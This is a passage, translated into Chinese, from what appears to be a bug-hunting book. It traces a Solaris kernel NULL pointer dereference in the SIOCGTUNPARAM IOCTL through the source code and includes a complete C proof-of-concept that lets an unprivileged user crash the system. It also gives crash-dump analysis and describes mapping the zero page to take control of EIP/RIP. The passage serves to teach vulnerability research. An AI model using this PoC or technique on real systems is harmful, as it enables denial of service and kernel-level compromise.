图 2-10. 漏洞时间线
备注
星期一,2009 年 1 月 5 日
针对漏洞和我的详细警告,我收到了许多来自担忧的 VLC 用户的邮件,他们提出了各种问题。有两个问题我反复看到:
我以前从未听说过 TiVo 媒体格式。我为什么要打开这样一个不为人知的媒体文件?
如果我不再在 VLC 中打开 TiVo 媒体文件,我是否安全?
这些是有效的问题,所以我问自己,如果我只知道下载的媒体文件的扩展名,我通常会怎样了解该媒体文件的格式。我可以启动一个十六进制编辑器并查看文件头,但说实话,我认为普通人不会去麻烦这样做。但是文件扩展名是可信的吗?不,它们不可信。TiVo 文件的常规文件扩展名是.ty。但是,有什么能阻止攻击者将文件名从fun.ty改为fun.avi、fun.mov、fun.mkv或她喜欢的任何其他名称?由于 VLC 和其他几乎所有的媒体播放器一样,不使用文件扩展名来识别媒体格式,该文件仍然会被媒体播放器以 TiVo 文件的方式打开和处理。
备注
^([6])
^([7])
^([8])
^([9])
^([10])
^([11])
^([12])
^([13])
^([14])
^([15])
^([16])
^([17])
^([18])
^([19])
^([20])
^([21])
^([22])
^([6]) 参见迪克·格鲁恩和西里尔·J.H.雅各布斯所著的 解析技术:实用指南,第 2 版(纽约:Springer Science+Business Media,2008 年),第 1 页。
^([7]) 可下载受漏洞影响的 VLC 源代码版本,请访问 download.videolan.org/pub/videolan/vlc/0.9.4/vlc-0.9.4.tar.bz2。
^([8"]) Immunity Debugger 是基于 OllyDbg 的优秀的 Windows 调试器。它附带了一个漂亮的 GUI 以及许多额外的功能和插件,以支持漏洞挖掘和利用开发。可以在 www.immunityinc.com/products-immdbg.shtml 找到它。
^([9]) 请参阅 David Litchfield 的著作,“Linux 和 Windows 之间漏洞利用方法的差异”,2003 年,www.nccgroup.com/Libraries/Document_Downloads/Variations_in_Exploit_methods_between_Linux_and_Windows.sflb.ashx。
^([10]) 请参阅 www.trapkit.de/books/bhd/。
^([11]) 关于负责任的、协调的、完全披露以及商业漏洞市场等信息,请参考 Stefan Frei、Dominik Schatzmann、Bernhard Plattner 和 Brian Trammel 的著作,“建模安全生态系统——(不)安全的动态”,2009 年,www.techzoom.net/publications/security-ecosystem/。
^([12]) VLC 的 Git 仓库可以在 git.videolan.org/ 找到。针对此漏洞发布的第一个修复程序可以从 git.videolan.org/?p=vlc.git;a=commitdiff;h=26d92b87bba99b5ea2e17b7eaa39c462d65e9133 下载。
^([13]) 我发现的后续 VLC 漏洞的修复程序可以从 git.videolan.org/?p=vlc.git;a=commitdiff;h=d859e6b9537af2d7326276f70de25a840f554dc3 下载。
^([14]) 要下载 Process Explorer,请访问 technet.microsoft.com/en-en/sysinternals/bb896653/。
^([15]) 请参阅 blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx。
^([16]) LookingGlass 是一个方便的工具,用于扫描目录结构或正在运行的过程,以报告哪些二进制文件没有使用 ASLR 和 NX。它可以在 www.erratasec.com/lookingglass.html 找到。
^([17]) 要下载 BinScope 二进制分析器,请访问 go.microsoft.com/?linkid=9678113。
^([18]) 关于 Microsoft Visual C++ 2005 SP1 及以后版本引入的漏洞缓解技术的优秀文章:Michael Howard,“使用 Visual C++ 防御保护您的代码”,MSDN 杂志,2008 年 3 月,msdn.microsoft.com/en-us/magazine/cc337897.aspx。
^([19]) 请参阅 www.cygwin.com/。
^([20]) 增强缓解体验工具包(Enhanced Mitigation Experience Toolkit)可在blogs.technet.com/srd/archive/2010/09/02/enhanced-mitigation-experience-toolkit-emet-v2-0-0.aspx获取。
^([21]) 我关于 VLC 漏洞详细信息的安全咨询可以在www.trapkit.de/advisories/TKADV2008-010.txt找到。
^([22]) 请参阅cve.mitre.org/cve/identifiers/index.html。
第三章 逃离 WWW 区域
注意
2007 年 8 月 23 日,星期四
亲爱的日记,
我一直对操作系统内核中的漏洞很感兴趣,因为它们通常很有趣,非常强大,而且很难利用。我最近仔细检查了几个操作系统内核以寻找漏洞。我检查的一个内核是 Sun Solaris 的内核。猜猜看?我成功了。
注意
2010 年 1 月 27 日,Sun 被甲骨文公司收购。甲骨文现在通常将 Solaris 称为“Oracle Solaris”。
3.1 漏洞发现
自从 2005 年 6 月 OpenSolaris 发布以来,Sun 已经将大多数 Solaris 10 操作系统作为开源软件免费提供,包括内核。因此,我下载了源代码 23]并开始阅读内核代码,重点关注实现用户到内核接口的部分,如 IOCTLs 和系统调用。
注意
*输入/输出控制(IOCTLs)用于用户模式应用程序和内核之间的通信。24]
任何导致信息被传递到内核进行处理的用户到内核接口或 API 都会创建一个潜在的攻击向量。最常用的包括:
-
IOCTLs
-
系统调用
-
文件系统
-
网络栈
-
第三方驱动程序的钩子
我发现的漏洞是我发现的最有趣的之一,因为其成因——一个未定义的错误条件——对于一个可利用的漏洞来说是不寻常的(与平均的溢出漏洞相比)。它影响了SIOCGTUNPARAM IOCTL 调用的实现,这是 Solaris 内核提供的 IP-in-IP 隧道机制的一部分。25
我采取了以下步骤来发现漏洞:
-
第 1 步:列出内核的 IOCTLs。
-
第 2 步:识别输入数据。
-
第 3 步:跟踪输入数据。
这些步骤在下面将详细描述。
第 1 步:列出内核的 IOCTLs。
有不同的方法可以生成内核 IOCTLs 的列表。在这种情况下,我简单地搜索了内核源代码中的常用 IOCTL 宏。每个 IOCTL 都有自己的编号,通常由宏创建。根据 IOCTL 类型,Solaris 内核定义了以下宏:_IOR、_IOW和_IOWR。要列出 IOCTLs,我切换到了解包内核源代码的目录,并使用 Unix 的grep命令搜索代码。
solaris$ `pwd`
/exports/home/tk/on-src/usr/src/uts
solaris$ `grep -rnw -e _IOR -e _IOW -e _IOWR *`
[..]
common/sys/sockio.h:208:#define SIOCTONLINK _IOWR('i', 145, struct sioc_addr req)
common/sys/sockio.h:210:#define SIOCTMYSITE _IOWR('i', 146, struct sioc_addr req)
common/sys/sockio.h:213:#define SIOCGTUNPARAM _IOR('i', 147, struct iftun_req)
common/sys/sockio.h:216:#define SIOCSTUNPARAM _IOW('i', 148, struct iftun_req)
common/sys/sockio.h:220:#define SIOCFIPSECONFIG _IOW('i', 149, 0) /* Flush Policy */
common/sys/sockio.h:221:#define SIOCSIPSECONFIG _IOW('i', 150, 0) /* Set Policy */
common/sys/sockio.h:222:#define SIOCDIPSECONFIG _IOW('i', 151, 0) /* Delete Policy */
common/sys/sockio.h:223:#define SIOCLIPSECONFIG _IOW('i', 152, 0) /* List Policy */
[..]
现在我有了 Solaris 内核支持的 IOCTL 名称列表。为了找到实际处理这些 IOCTLs 的源文件,我在整个内核源代码中搜索列表中的每个 IOCTL 名称。以下是对SIOCTONLINK IOCTL 的搜索示例:
solaris$ `grep --include=*.c -rn SIOCTONLINK *`
common/inet/ip/ip.c:1267: /* 145 */ { SIOCTONLINK,
sizeof (struct sioc_add rreq), → IPI_GET_CMD,
第 2 步:识别输入数据
Solaris 内核为 IOCTL 处理提供了不同的接口。与我发现的漏洞相关的接口是一个称为 STREAMS 的编程模型。26] 直观地说,基本的 STREAMS 单元被称为 Stream,它是用户空间进程和内核之间的数据传输路径。所有在 STREAMS 下的内核级输入和输出都基于 STREAMS 消息,这些消息通常包含以下元素:数据缓冲区、数据块和消息块。数据缓冲区 是消息实际数据存储在内存中的位置。数据块 (struct datab) 描述了数据缓冲区。消息块 (struct msgb) 描述了数据块以及数据的使用方式。
消息块结构具有以下公共元素。
源代码文件
uts/common/sys/stream.h^([27])
[..]
367 /*
368 * Message block descriptor
369 */
370 typedef struct msgb {
371 struct msgb *b_next;
372 struct msgb *b_prev;
373 struct msgb *b_cont;
`374 unsigned char *b_rptr;`
`375 unsigned char *b_wptr;`
`376 struct datab *b_datap;`
377 unsigned char b_band;
378 unsigned char b_tag;
379 unsigned short b_flag;
380 queue_t *b_queue; /* for sync queues */
`381 } mblk_t;`
[..]
结构元素 b_rptr 和 b_wptr 指定了由 b_datap 指向的数据缓冲区中的当前读和写指针(参见 图 3-1)。

图 3-1. 简单 STREAMS 消息的示意图
在使用 STREAMS 模型时,msgb 结构的 b_rptr 元素或其类型定义 mblk_t 引用了 IOCTL 输入数据。STREAMS 模型的另一个重要组成部分是所谓的 链式消息块。如 STREAMS 编程指南 所述,“一个复杂消息可以由多个链式消息块组成。如果缓冲区大小有限或处理扩展了消息,则消息中会形成多个消息块”(参见 图 3-2)。

图 3-2. 链式 STREAMS 消息块的示意图
第 3 步:追踪输入数据
我随后审查了 IOCTL 列表,并像往常一样在代码中搜索输入数据,同时追踪这些数据以寻找编码错误。几小时后,我发现了一个漏洞。
源代码文件
uts/common/inet/ip/ip.c
函数
ip_process_ioctl()^([28])
[..]
26692 void
26693 ip_process_ioctl(ipsq_t *ipsq, queue_t *q, mblk_t *mp, void *arg)
26694 {
[..]
`26717 ci.ci_ipif = NULL;`
[..]
`26735 case TUN_CMD:`
26736 /*
26737 * SIOC[GS]TUNPARAM appear here. ip_extract_tunreq returns
26738 * a refheld ipif in ci.ci_ipif
26739 */
`26740 err = ip_extract_tunreq(q, mp, &ci.ci_ipif, ip_process_ioctl);`
[..]
当向内核发送 SIOCGTUNPARAM IOCTL 请求时,会调用 ip_process_ioctl() 函数。在第 26717 行,ci.ci_ipif 的值被显式设置为 NULL。由于 SIOCGTUNPARAM IOCTL 调用,选择开关 TUN_CMD(参见第 26735 行),并调用 ip_extract_tunreq() 函数(参见第 26740 行)。
源代码文件
uts/common/inet/ip/ip_if.c
函数
ip_extract_tunreq()^([29])
[..]
8158 /*
8159 * Parse an iftun_req structure coming down SIOC[GS]TUNPARAM ioctls,
8160 * refhold and return the associated ipif
8161 */
8162 /* ARGSUSED */
8163 int
8164 ip_extract_tunreq(queue_t *q, `mblk_t *mp`, const ip_ioctl_cmd_t *ipip,
8165 cmd_info_t *ci, ipsq_func_t func)
8166 {
8167 boolean_t exists;
`8168 struct iftun_req *ta;`
8169 ipif_t *ipif;
8170 ill_t *ill;
8171 boolean_t isv6;
8172 mblk_t *mp1;
8173 int error;
8174 conn_t *connp;
8175 ip_stack_t *ipst;
8176
8177 /* Existence verified in ip_wput_nondata */
`8178 mp1 = mp->b_cont->b_cont;`
`8179 ta = (struct iftun_req *)mp1->b_rptr;`
8180 /*
8181 * Null terminate the string to protect against buffer
8182 * overrun. String was generated by user code and may not
8183 * be trusted.
8184 */
8185 ta->ifta_lifr_name[LIFNAMSIZ - 1] = '\0';
8186
8187 connp = Q_TO_CONN(q);
8188 isv6 = connp->conn_af_isv6;
8189 ipst = connp->conn_netstack->netstack_ip;
8190
8191 /* Disallows implicit create */
`8192 ipif = ipif_lookup_on_name(ta->ifta_lifr_name,`
`8193 mi_strlen(ta->ifta_lifr_name), B_FALSE, &exists, isv6,`
`8194 connp->conn_zoneid, CONNP_TO_WQ(connp), mp, func, &error, ipst);`
[..]
在第 8178 行,引用了一个链接的 STREAMS 消息块,在第 8179 行,结构 ta 被填充了用户控制的 IOCTL 数据。稍后,调用了函数 ipif_lookup_on_name()(见第 8192 行)。ipif_lookup_on_name() 的前两个参数来自结构 ta 的用户可控制数据。
源代码文件
uts/common/inet/ip/ip_if.c
函数
ipif_lookup_on_name()
[..]
19116 /*
19117 * Find an IPIF based on the name passed in. Names can be of the
19118 * form <phys> (e.g., le0), <phys>:<#> (e.g., le0:1),
19119 * The <phys> string can have forms like <dev><#> (e.g., le0),
19120 * <dev><#>.<module> (e.g. le0.foo), or <dev>.<module><#> (e.g. ip.tun3).
19121 * When there is no colon, the implied unit id is zero. <phys> must
19122 * correspond to the name of an ILL. (May be called as writer.)
19123 */
19124 static ipif_t *
19125 ipif_lookup_on_name(`char *name`, size_t namelen, boolean_t do_alloc,
19126 boolean_t *exists, boolean_t isv6, zoneid_t zoneid, queue_t *q,
19127 mblk_t *mp, ipsq_func_t func, int *error, ip_stack_t *ipst)
19128 {
[..]
19138 if (error != NULL)
`19139 *error = 0;`
[..]
`19154 /* Look for a colon in the name. */`
`19155 endp = &name[namelen];`
`19156 for (cp = endp; --cp > name; ) {`
`19157 if (*cp == IPIF_SEPARATOR_CHAR)`
`19158 break;`
`19159 }`
19160
`19161 if (*cp == IPIF_SEPARATOR_CHAR) {`
19162 /*
19163 * Reject any non-decimal aliases for logical
19164 * interfaces. Aliases with leading zeroes
19165 * are also rejected as they introduce ambiguity
19166 * in the naming of the interfaces.
19167 * In order to confirm with existing semantics,
19168 * and to not break any programs/script relying
19169 * on that behaviour, if<0>:0 is considered to be
19170 * a valid interface.
19171 *
19172 * If alias has two or more digits and the first
19173 * is zero, fail.
19174 */
`19175 if (&cp[2] < endp && cp[1] == '0')`
`19176 return (NULL);`
19177 }
[..]
在第 19139 行,error 的值被显式设置为 0。然后在第 19161 行,用户通过 IOCTL 数据提供的接口名称检查是否存在冒号(IPIF_SEPARATOR_CHAR 被定义为冒号)。如果在名称中找到冒号,冒号之后的字节被视为接口别名。如果别名有两个或更多数字,并且第一个是零(ASCII 零或十六进制 0x30;见第 19175 行),则函数 ipif_lookup_on_name() 将返回 NULL 给 ip_extract_tunreq(),并且变量 error 仍然设置为 0(见第 19139 和 19176 行)。
源代码文件
uts/common/inet/ip/ip_if.c
函数
ip_extract_tunreq()
[..]
8192 ipif = ipif_lookup_on_name(ta->ifta_lifr_name,
8193 mi_strlen(ta->ifta_lifr_name), B_FALSE, &exists, isv6,
8194 connp->conn_zoneid, CONNP_TO_WQ(connp), mp, func, &error, ipst);
8195 if (ipif == NULL)
8196 return (error);
[..]
回到 ip_extract_tunreq(),如果 ipif_lookup_on_name() 返回该值,则指针 ipif 被设置为 NULL(见第 8192 行)。由于 ipif 是 NULL,第 8195 行的 if 语句返回 TRUE,第 8196 行被执行。然后 ip_extract_tunreq() 函数将 error 作为返回值返回给 ip_process_ioctl(),该返回值仍然设置为 0。
源代码文件
uts/common/inet/ip/ip.c
函数
ip_process_ioctl()
[..]
`26717 ci.ci_ipif = NULL;`
[..]
26735 case TUN_CMD:
26736 /*
26737 * SIOC[GS]TUNPARAM appear here. ip_extract_tunreq returns
26738 * a refheld ipif in ci.ci_ipif
26739 */
`26740 err = ip_extract_tunreq(q, mp, &ci.ci_ipif, ip_process_ioctl);`
`26741 if (err != 0) {`
26742 ip_ioctl_finish(q, mp, err, IPI2MODE(ipip), NULL);
26743 return;
26744 }
[..]
`26788 err = (*ipip->ipi_func)(ci.ci_ipif, ci.ci_sin, q, mp, ipip,`
`26789 ci.ci_lifr);`
[..]
在 ip_process_ioctl() 函数中,变量 err 被设置为 0,因为 ip_extract_tunreq() 返回该值(见第 26740 行)。由于 err 等于 0,第 26741 行的 if 语句返回 FALSE,第 26742 和 26743 行不执行。在第 26788 行,ipip->ipi_func 指向的函数——在本例中是 ip_sioctl_tunparam() 函数——被调用,而第一个参数 ci.ci_ipif 仍然设置为 NULL(见第 26717 行)。
源代码文件
uts/common/inet/ip/ip_if.c
函数
ip_sioctl_tunparam()
[..]
9401 int
9402 ip_sioctl_tunparam(`ipif_t *ipif`, sin_t *dummy_sin, queue_t *q, mblk_t *mp,
9403 ip_ioctl_cmd_t *ipip, void *dummy_ifreq)
9404 {
[..]
`9432 ill = ipif->ipif_ill;`
[..]
由于 ip_sioctl_tunparam() 的第一个参数是 NULL,第 9432 行的 ipif->ipif_ill 引用可以表示为 NULL->ipif_ill,这是一个经典的空指针解引用。如果触发这种空指针解引用,整个系统将由于内核恐慌而崩溃。(有关空指针解引用的更多信息,请参阅第 A.2 节。)
目前结果总结:
-
Solaris 系统的无权限用户可以调用
SIOCGTUNPARAMIOCTL(见图 3-3 中的(1))。 -
如果发送到内核的 IOCTL 数据被精心构造——必须有一个接口名称,该名称直接跟一个 ASCII 零和一个任意数字——则可以触发空指针解引用(见图 3-3 中的(2)),这会导致系统崩溃(见图 3-3 中的(3))。
但为什么可以触发那个空指针解引用?导致错误的编码错误究竟在哪里?
问题在于 ipif_lookup_on_name() 可以被强制返回到其调用函数,而无需设置适当的错误条件。
这个错误部分存在是因为 ipif_lookup_on_name() 函数以两种不同的方式向其调用函数报告错误条件:通过函数的返回值(return (null))以及通过变量 error(*error != 0)。每次函数被调用时,内核代码的作者必须确保两个错误条件都得到适当的设置,并在调用函数中正确评估。这种编码风格容易出错,因此不推荐使用。本章中描述的漏洞是这种代码可能引起的问题的一个很好的例子。

图 3-3. 到目前为止的结果总结。一个非特权用户可以通过在 Solaris 内核中触发空指针解引用来强制系统崩溃。
源代码文件
uts/common/inet/ip/ip_if.c
函数
ipif_lookup_on_name()
[..]
19124 static ipif_t *
19125 ipif_lookup_on_name(char *name, size_t namelen, boolean_t do_alloc,
19126 boolean_t *exists, boolean_t isv6, zoneid_t zoneid, queue_t *q,
19127 mblk_t *mp, ipsq_func_t func, int *error, ip_stack_t *ipst)
19128 {
[..]
19138 if (error != NULL)
`19139 *error = 0;`
[..]
19161 if (*cp == IPIF_SEPARATOR_CHAR) {
19162 /*
19163 * Reject any non-decimal aliases for logical
19164 * interfaces. Aliases with leading zeroes
19165 * are also rejected as they introduce ambiguity
19166 * in the naming of the interfaces.
19167 * In order to confirm with existing semantics,
19168 * and to not break any programs/script relying
19169 * on that behaviour, if<0>:0 is considered to be
19170 * a valid interface.
19171 *
19172 * If alias has two or more digits and the first
19173 * is zero, fail.
19174 */
`19175 if (&cp[2] < endp && cp[1] == '0')`
`19176 return (NULL);`
19177 }
[..]
在第 19139 行,保存一个错误条件的 error 的值被明确设置为 0。错误条件 0 表示到目前为止没有发生错误。通过在接口名称中直接提供一个冒号后跟一个 ASCII 零和一个任意数字,可以触发第 19176 行的代码,这会导致返回调用函数。问题是函数返回之前没有为 error 设置有效的错误条件。因此,ipif_lookup_on_name() 以 error 仍然设置为 0 的状态返回到 ip_extract_tunreq()。
源代码文件
uts/common/inet/ip/ip_if.c
函数
ip_extract_tunreq()
[..]
8192 ipif = ipif_lookup_on_name(ta->ifta_lifr_name,
8193 mi_strlen(ta->ifta_lifr_name), B_FALSE, &exists, isv6,
8194 connp->conn_zoneid, CONNP_TO_WQ(connp), mp, func, `&error`, ipst);
8195 if (ipif == NULL)
`8196 return (error);`
[..]
在 ip_extract_tunreq() 函数中,错误条件被返回给其调用函数 ip_process_ioctl()(见第 8196 行)。
源代码文件
uts/common/inet/ip/ip.c
函数
ip_process_ioctl()
[..]
26735 case TUN_CMD:
26736 /*
26737 * SIOC[GS]TUNPARAM appear here. ip_extract_tunreq returns
26738 * a refheld ipif in ci.ci_ipif
26739 */
`26740 err = ip_extract_tunreq(q, mp, &ci.ci_ipif, ip_process_ioctl);`
`26741 if (err != 0) {`
26742 ip_ioctl_finish(q, mp, err, IPI2MODE(ipip), NULL);
26743 return;
26744 }
[..]
`26788 err = (*ipip->ipi_func)(ci.ci_ipif, ci.ci_sin, q, mp, ipip,`
`26789 ci.ci_lifr);`
[..]
然后在 ip_process_ioctl() 函数中,错误条件仍然设置为 0。因此,第 26741 行的 if 语句返回 FALSE,内核继续执行函数的其余部分,导致在 ip_sioctl_tunparam() 中发生空指针解引用。
多好的一个漏洞啊!
图 3-4 显示了一个调用图,总结了涉及空指针解引用错误的函数之间的关系。

图 3-4. 总结涉及空指针解引用错误的函数之间关系的调用图。显示的数字表示事件的顺序。
3.2 利用
利用这个漏洞是一个令人兴奋的挑战。空指针解引用通常被标记为不可利用的错误,因为它们通常可以用于拒绝服务攻击,但不能用于任意代码执行。然而,这个空指针解引用是不同的,因为它可以在内核级别成功用于任意代码执行。
注意
我在本节中使用的平台是 Solaris 10 10/08 x86/x64 DVD 全镜像(sol-10-u6-ga1-x86-dvd.iso),被称为 Solaris 10 Generic_137138-09。
要利用这个漏洞,我执行了以下步骤:
-
触发空指针解引用以实现拒绝服务。
-
使用零页来控制
EIP/RIP。
第 1 步:触发空指针解引用以实现拒绝服务
要触发空指针解引用,我编写了以下 PoC 代码(见 示例 3-1"))。
示例 3-1. 我编写的用于触发在 Solaris 中发现的空指针解引用错误的 PoC 代码(poc.c)。
01 #include <stdio.h>
02 #include <fcntl.h>
03 #include <sys/syscall.h>
04 #include <errno.h>
05 #include <sys/sockio.h>
06 #include <net/if.h>
07
08 int
09 main (void)
10 {
11 int fd = 0;
12 char data[32];
13
14 fd = open ("/dev/arp", O_RDWR);
15
16 if (fd < 0) {
17 perror ("open");
18 return 1;
19 }
20
21 // IOCTL data (interface name with invalid alias ":01")
22 data[0] = 0x3a; // colon
23 data[1] = 0x30; // ASCII zero
24 data[2] = 0x31; // digit 1
25 data[3] = 0x00; // NULL termination
26
27 // IOCTL call
28 syscall (SYS_ioctl, fd, SIOCGTUNPARAM, data);
29
30 printf ("poc failed\n");
31 close (fd);
32
33 return 0;
34 }
PoC 代码首先打开内核网络设备 /dev/arp(见第 14 行)。请注意,设备 /dev/tcp 和 /dev/udp 也支持 SIOCGTUNPARAM IOCTL,因此可以用它们代替 /dev/arp。接下来,准备 IOCTL 数据(见第 22-25 行)。数据由一个具有无效别名 :01 的接口名称组成,以触发错误。最后调用 SIOCGTUNPARAM IOCTL 并将 IOCTL 数据发送到内核(见第 28 行)。
然后,我将 PoC 代码作为一个无特权的用户在 Solaris 10 64 位系统上编译和测试:
solaris$ `isainfo -b`
64
solaris$ `id`
uid=100(wwwuser) gid=1(other)
solaris$ `uname -a`
SunOS bob 5.10 Generic_137138-09 i86pc i386 i86pc
solaris$ `/usr/sfw/bin/gcc -m64 -o poc poc.c`
solaris$ `./poc`
系统立即崩溃并重新启动。重启后,我以 root 身份登录,并在 Solaris 模块化调试器(mdb)的帮助下检查了内核崩溃文件^([30])(有关以下调试器命令的描述,请参阅 B.1 节):
solaris# `id`
uid=0(root) gid=0(root)
solaris# `hostname`
bob
solaris# `cd /var/crash/bob/`
solaris# `ls`
bounds unix.0 vmcore.0
solaris# `mdb unix.0 vmcore.0`
Loading modules: [ unix krtld genunix specfs dtrace cpu.generic
uppc pcplusmp ufs ip hook neti sctp arp usba fcp fctl nca lofs mpt zfs
random sppp audiosup nfs ptm md cpc crypto fcip logindmux ]
我使用了::msgbuf调试器命令来显示消息缓冲区,包括所有控制台消息,直到内核恐慌:
> `::msgbuf`
[..]
panic[cpu0]/thread=ffffffff87d143a0:
BAD TRAP: type=e (#pf Page fault) rp=fffffe8000f7e5a0 addr=8
occurred in module "ip" due to a `NULL pointer dereference`
poc:
#pf Page fault
Bad kernel fault at addr=0x8
pid=1380, pc=0xfffffffff6314c7c, sp=0xfffffe8000f7e690, eflags=0x10282
cr0: 80050033<pg,wp,ne,et,mp,pe> cr4: 6b0<xmme,fxsr,pge,pae,pse>
cr2: 8 cr3: 21a2a000 cr8: c
rdi: 0 rsi: ffffffff86bc0700 rdx: ffffffff86bc09c8
rcx: 0 r8: fffffffffbd0fdf8 r9: fffffe8000f7e780
rax: c rbx: ffffffff883ff200 rbp: fffffe8000f7e6d0
r10: 1 r11: 0 r12: ffffffff8661f380
`r13: 0` r14: ffffffff8661f380 r15: ffffffff819f5b40
fsb: fffffd7fff220200 gsb: fffffffffbc27fc0 ds: 0
es: 0 fs: 1bb gs: 0
trp: e err: 0 `rip: fffffffff6314c7c`
cs: 28 rfl: 10282 rsp: fffffe8000f7e690
ss: 30
fffffe8000f7e4b0 unix:die+da ()
fffffe8000f7e590 unix:trap+5e6 ()
fffffe8000f7e5a0 unix:_cmntrap+140 ()
`fffffe8000f7e6d0 ip:ip_sioctl_tunparam+5c ()`
fffffe8000f7e780 ip:ip_process_ioctl+280 ()
fffffe8000f7e820 ip:ip_wput_nondata+970 ()
fffffe8000f7e910 ip:ip_output_options+537 ()
fffffe8000f7e920 ip:ip_output+10 ()
fffffe8000f7e940 ip:ip_wput+37 ()
fffffe8000f7e9a0 unix:putnext+1f1 ()
fffffe8000f7e9d0 arp:ar_wput+9d ()
fffffe8000f7ea30 unix:putnext+1f1 ()
fffffe8000f7eab0 genunix:strdoioctl+67b ()
fffffe8000f7edd0 genunix:strioctl+620 ()
fffffe8000f7edf0 specfs:spec_ioctl+67 ()
fffffe8000f7ee20 genunix:fop_ioctl+25 ()
fffffe8000f7ef00 genunix:ioctl+ac ()
fffffe8000f7ef10 unix:brand_sys_syscall+21d ()
syncing file systems...
done
dumping to /dev/dsk/c0d0s1, offset 107413504, content: kernel
调试器输出显示,内核恐慌是由于地址0xfffffffff6314c7c处的空指针解引用引起的(请参阅RIP寄存器的值)。接下来,我要求调试器显示该地址处的指令:
> `0xfffffffff6314c7c::dis`
ip_sioctl_tunparam+0x30: jg +0xf0 <ip_sioctl_tunparam+0x120>
ip_sioctl_tunparam+0x36: movq 0x28(%r12),%rax
ip_sioctl_tunparam+0x3b: movq 0x28(%rbx),%rbx
ip_sioctl_tunparam+0x3f: movq %r12,%rdi
ip_sioctl_tunparam+0x42: movb $0xe,0x19(%rax)
ip_sioctl_tunparam+0x46: call +0x5712cfa <copymsg>
ip_sioctl_tunparam+0x4b: movq %rax,%r15
ip_sioctl_tunparam+0x4e: movl $0xc,%eax
ip_sioctl_tunparam+0x53: testq %r15,%r15
ip_sioctl_tunparam+0x56: je +0x9d <ip_sioctl_tunparam+0xf3>
`ip_sioctl_tunparam+0x5c: movq 0x8(%r13),%r14`
[..]
崩溃是由地址ip_sioctl_tunparam+0x5c处的指令movq 0x8(%r13),%r14引起的。该指令试图引用寄存器r13指向的值。正如::msgbuf命令的调试器输出所示,在崩溃时r13的值为 0。因此,汇编指令相当于在ip_sioctl_tunparam()中发生的空指针解引用(请参阅以下代码片段中的第 9432 行)。
源代码文件
uts/common/inet/ip/ip_if.c
函数
ip_sioctl_tunparam()
[..]
9401 int
9402 ip_sioctl_tunparam(ipif_t *ipif, sin_t *dummy_sin, queue_t *q, mblk_t *mp,
9403 ip_ioctl_cmd_t *ipip, void *dummy_ifreq)
9404 {
[..]
`9432 ill = ipif->ipif_ill;`
[..]
我能够证明这个漏洞可以被无权限用户成功利用来使系统崩溃。因为所有 Solaris Zones 共享相同的内核,所以即使漏洞在无权限的非全局区域触发,也有可能使整个系统(所有区域)崩溃(请参阅 C.3 节以获取有关 Solaris Zones 技术的更多信息)。如果被恶意意图的人利用,任何使用 Solaris Zones 功能的托管服务提供商都可能受到严重影响。
步骤 2:使用零页来控制 EIP/RIP
在我能够使系统崩溃后,我决定尝试任意代码执行。为此,我必须解决以下两个问题:
-
防止系统因空指针解引用而崩溃。
-
控制 EIP/RIP。
系统崩溃是由空指针解引用引起的。由于零页或空页通常未映射,解引用会导致访问违规,从而使系统崩溃(也请参阅 A.2 节)。为了防止系统崩溃,我必须在触发空指针解引用之前映射零页。在 x86 和 AMD64 架构上,这可以很容易地完成,因为 Solaris 将这些平台上的进程的虚拟地址空间划分为两部分:用户空间和内核空间(请参阅图 3-5)。用户空间是所有用户模式应用程序运行的地方,而内核空间是内核本身以及内核扩展(例如,驱动程序)运行的地方。然而,内核和一个进程的用户空间共享相同的零页.^([31])
注意
每个用户模式地址空间都是特定进程独有的,而内核地址空间是所有进程共享的。在一个进程中映射 NULL 页只会导致它在该进程的地址空间中映射。

图 3-5.进程的虚拟地址空间(Solaris x86 64 位)^([32])
通过在触发空指针解引用之前映射零页,我能够防止系统崩溃。这让我遇到了下一个问题:如何控制EIP/RIP?唯一完全受我控制的数据是发送给内核的 IOCTL 数据和进程的用户空间数据,包括零页。唯一的方法是让内核引用零页中的某些数据,这些数据将后来用于控制内核的执行流程。我以为这种方法不会奏效,但我错了。
源代码文件
uts/common/inet/ip/ip_if.c
函数
ip_sioctl_tunparam()
[..]
9401 int
9402 ip_sioctl_tunparam(ipif_t *ipif, sin_t *dummy_sin, queue_t *q, mblk_t *mp,
9403 ip_ioctl_cmd_t *ipip, void *dummy_ifreq)
9404 {
[..]
`9432 ill = ipif->ipif_ill;`
9433 mutex_enter(&connp->conn_lock);
9434 mutex_enter(&ill->ill_lock);
9435 if (ipip->ipi_cmd == SIOCSTUNPARAM || ipip->ipi_cmd == OSIOCSTUNPARAM) {
9436 success = ipsq_pending_mp_add(connp, ipif, CONNP_TO_WQ(connp),
9437 mp, 0);
9438 } else {
9439 success = ill_pending_mp_add(ill, connp, mp);
9440 }
9441 mutex_exit(&ill->ill_lock);
9442 mutex_exit(&connp->conn_lock);
9443
9444 if (success) {
9445 ip1dbg(("sending down tunparam request "));
`9446 putnext(ill->ill_wq, mp1);`
[..]
当ipif被强制设置为NULL时,在第 9432 行发生空指针解引用,这导致系统崩溃。但如果在解引用NULL之前映射零页,则不会触发访问违规,系统也不会崩溃。相反,在引用零页中的有效用户可控数据时,会确定ill结构体的值。因此,可以通过精心构建零页数据来控制ill结构体的所有值。我很高兴地发现,在第 9446 行,putnext()函数被调用,其参数是用户可控的ill->ill_wq值。
源代码文件
uts/common/os/putnext.c
函数
putnext()^([33])
[..]
146 void
`147 putnext(queue_t *qp, mblk_t *mp)`
148 {
[..]
`154 int (*putproc)();`
[..]
`176 qp = qp->q_next;`
`177 sq = qp->q_syncq;`
178 ASSERT(sq != NULL);
179 ASSERT(MUTEX_NOT_HELD(SQLOCK(sq)));
`180 qi = qp->q_qinfo;`
[..]
268 /*
269 * We now have a claim on the syncq, we are either going to
270 * put the message on the syncq and then drain it, or we are
271 * going to call the putproc().
272 */
`273 putproc = qi->qi_putp;`
274 if (!queued) {
275 STR_FTEVENT_MSG(mp, fqp, FTEV_PUTNEXT, mp->b_rptr -
276 mp->b_datap->db_base);
`277 (*putproc)(qp, mp);`
[..]
用户可以完全控制putnext()的第一个函数参数的数据,这意味着qp、sq和qi的值也可以通过映射零页的数据来控制(参见第 176、177 和 180 行)。此外,用户还可以控制第 154 行声明的函数指针的值(参见第 273 行)。然后,该函数指针在第 277 行被调用。
因此,总结来说,如果映射零页的数据被精心构建,就有可能控制函数指针,从而完全控制EIP/RIP,并在内核级别实现任意代码执行。
我使用了以下 POC 代码来控制EIP/RIP:
